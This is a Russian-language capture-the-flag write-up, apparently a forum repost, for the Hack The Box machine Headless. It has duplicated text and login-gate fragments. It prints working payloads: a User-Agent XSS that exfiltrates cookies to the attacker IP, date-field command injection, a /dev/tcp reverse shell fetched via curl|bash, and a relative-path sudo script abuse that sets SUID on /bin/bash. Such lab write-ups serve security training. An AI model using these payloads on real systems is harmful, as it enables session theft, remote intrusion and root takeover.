stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу процесс эксплуатации XSS в механизме логирования атак. Получив возможность инъекции команд, мы сможем развить атаку на сервер. В конце повысим привилегии, перехватив управление у пользовательского скрипта.
Наша цель — получение прав суперпользователя на машине Headless с учебной площадки Hack The Box. Уровень задания — легкий.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
Осмотримся на сайте.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
На сайте находим всего две страницы: support и dashboard. Вторая вернет код 500 — видимо, доступ ограничен. А вот первая страница содержит веб‑форму.
Для просмотра ссылки Войдиили Зарегистрируйся
Так как это форма связи с поддержкой, значит, отправленное сообщение кто‑то будет читать. В таком случае необходимо проверить, нет ли тут уязвимости XSS. Запустим на локальной машине веб‑сервер:
И отправим в форме следующую нагрузку, которая попытается загрузить картинку с нашего сервера.
Но запрос на наш сервер не пришел, а на странице появилось сообщение, что обнаружена атака.
Используются какие‑то фильтры, а это уже интересно.
Таким образом, когда фильтр не пропустит, обнаружив нашу нагрузку, он отправит информацию о запросе администратору, а это приведет к выполнению нагрузки из заголовка User-Agent. При этом на своем веб‑сервере можно найти обращение от нагрузки.
Существование XSS подтверждено, теперь переходим к эксплуатации уязвимости. С помощью базовой нагрузки с document.cookie попробуем эксфильтровать cookie пользователя.
И на наш веб‑сервер приходит запрос, где в параметре cookie получаем сессионный идентификатор пользователя. Перейдем в настройки Chrome и в разделе Application → Storage → Cookies изменим имеющееся значение на полученное.
Вспомним про страницу /dashboard, доступ к которой был закрыт. Переходим на нее после применения cookie и получаем форму для создания отчетов на определенную дату.
Так как мы постоянно работаем через Burp Proxy, перейдем в Burp History и проанализируем запрос на генерацию отчета.
В качестве данных передается только дата в параметре date. Так как для генерации отчета может использоваться сторонняя утилита, а ее запуск происходит через командную оболочку, стоит проверить наличие уязвимости OS Command Injection. Комбинацией клавиш Ctrl-R и Ctrl-Shift-R перенаправим запрос в Burp Repeater. Затем после даты используем символ ; для отделения команды и добавим свою тестовую команду — id.
На этот раз в сообщении о том, что отчет составлен, присутствует и вывод команды id, а значит, сервис уязвим. Запустим листенер.
И попробуем выполнить реверс‑шелл. Просто запустить его через Responder не вышло, но можно сохранить на своем веб‑сервере файл, содержащий реверс‑шелл:
А в нагрузке на удаленной машине скачать его через curl и выполнить.
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Смотрим, что интересного нашел скрипт.
В настройках sudoers прописан запуск файла /usr/bin/syscheck от имени root без использования пароля.
Для просмотра ссылки Войдиили Зарегистрируйся
Прописанный в sudoers файл добавлен пользователем.
Найденный файл представляет собой скрипт на Bash.
Тут происходит запуск другого скрипта — initdb.sh. При этом указан не полный путь к скрипту, а относительный: ./. Таким образом, можно перейти в каталог с правом на запись, создать в нем скрипт initdb.sh, тогда выполнение syscheck из этого каталога с правами root приведет к выполнению initdb.sh также с правами root. В скрипте initdb.sh будем присваивать S-бит файлу командной оболочки /bin/bash.
Запускаем /bin/bash от имени рута и читаем последний флаг.
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Headless с учебной площадки Hack The Box. Уровень задания — легкий.
warning
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.8 headless.htbИ запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 5000 — веб‑сервер Werkzeug 2.2.2.
Осмотримся на сайте.
Точка входа
На сайте ничего интересного найти не удалось, поэтому приступаем к сканированию.Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -d — глубина сканирования.
feroxbuster -u '[URL]http://10.10.11.8:5000/[/URL]' -w directory_2.3_medium.txt -t 256 -d 1На сайте находим всего две страницы: support и dashboard. Вторая вернет код 500 — видимо, доступ ограничен. А вот первая страница содержит веб‑форму.
Для просмотра ссылки Войди
Так как это форма связи с поддержкой, значит, отправленное сообщение кто‑то будет читать. В таком случае необходимо проверить, нет ли тут уязвимости XSS. Запустим на локальной машине веб‑сервер:
python3 -m http.serverИ отправим в форме следующую нагрузку, которая попытается загрузить картинку с нашего сервера.
<img src="[URL]http://10.10.14.110/test_xss[/URL]"/>Но запрос на наш сервер не пришел, а на странице появилось сообщение, что обнаружена атака.
Используются какие‑то фильтры, а это уже интересно.
Точка опоры
Можно потратить время на попытки обойти фильтрацию, если это возможно, а можно обратить внимание на сообщение с отображением запроса. В нем явно выводится заголовок User-Agent, что и будем использовать, передав нагрузку в самом заголовке.User-Agent: <img src="[URL]http://10.10.14.110/user_agent_xss[/URL]"/>Таким образом, когда фильтр не пропустит, обнаружив нашу нагрузку, он отправит информацию о запросе администратору, а это приведет к выполнению нагрузки из заголовка User-Agent. При этом на своем веб‑сервере можно найти обращение от нагрузки.
Существование XSS подтверждено, теперь переходим к эксплуатации уязвимости. С помощью базовой нагрузки с document.cookie попробуем эксфильтровать cookie пользователя.
User-Agent: <img src=x onerror=fetch('[URL='http://10.10.14.110/?cookie=%27+document.cookie);']http://10.10.14.110/?cookie='+document.cookie);[/URL]>И на наш веб‑сервер приходит запрос, где в параметре cookie получаем сессионный идентификатор пользователя. Перейдем в настройки Chrome и в разделе Application → Storage → Cookies изменим имеющееся значение на полученное.
Вспомним про страницу /dashboard, доступ к которой был закрыт. Переходим на нее после применения cookie и получаем форму для создания отчетов на определенную дату.
Продвижение
В качестве теста просто сгенерируем отчет. На странице отобразится соответствующее сообщение, и одновременно с этим начнется загрузка файла.Так как мы постоянно работаем через Burp Proxy, перейдем в Burp History и проанализируем запрос на генерацию отчета.
В качестве данных передается только дата в параметре date. Так как для генерации отчета может использоваться сторонняя утилита, а ее запуск происходит через командную оболочку, стоит проверить наличие уязвимости OS Command Injection. Комбинацией клавиш Ctrl-R и Ctrl-Shift-R перенаправим запрос в Burp Repeater. Затем после даты используем символ ; для отделения команды и добавим свою тестовую команду — id.
На этот раз в сообщении о том, что отчет составлен, присутствует и вывод команды id, а значит, сервис уязвим. Запустим листенер.
pwncat-cs -lp 4321И попробуем выполнить реверс‑шелл. Просто запустить его через Responder не вышло, но можно сохранить на своем веб‑сервере файл, содержащий реверс‑шелл:
bash -c '/bin/bash -i >& /dev/tcp/10.10.14.110/4321 0>&1А в нагрузке на удаленной машине скачать его через curl и выполнить.
;curl 10.10.14.110/r.sh|bashЛокальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиСмотрим, что интересного нашел скрипт.
В настройках sudoers прописан запуск файла /usr/bin/syscheck от имени root без использования пароля.
Для просмотра ссылки Войди
Прописанный в sudoers файл добавлен пользователем.
Найденный файл представляет собой скрипт на Bash.
Тут происходит запуск другого скрипта — initdb.sh. При этом указан не полный путь к скрипту, а относительный: ./. Таким образом, можно перейти в каталог с правом на запись, создать в нем скрипт initdb.sh, тогда выполнение syscheck из этого каталога с правами root приведет к выполнению initdb.sh также с правами root. В скрипте initdb.sh будем присваивать S-бит файлу командной оболочки /bin/bash.
Код:
echo 'chmod u+s /bin/bash' > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheckСправка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Запускаем /bin/bash от имени рута и читаем последний флаг.
Машина захвачена!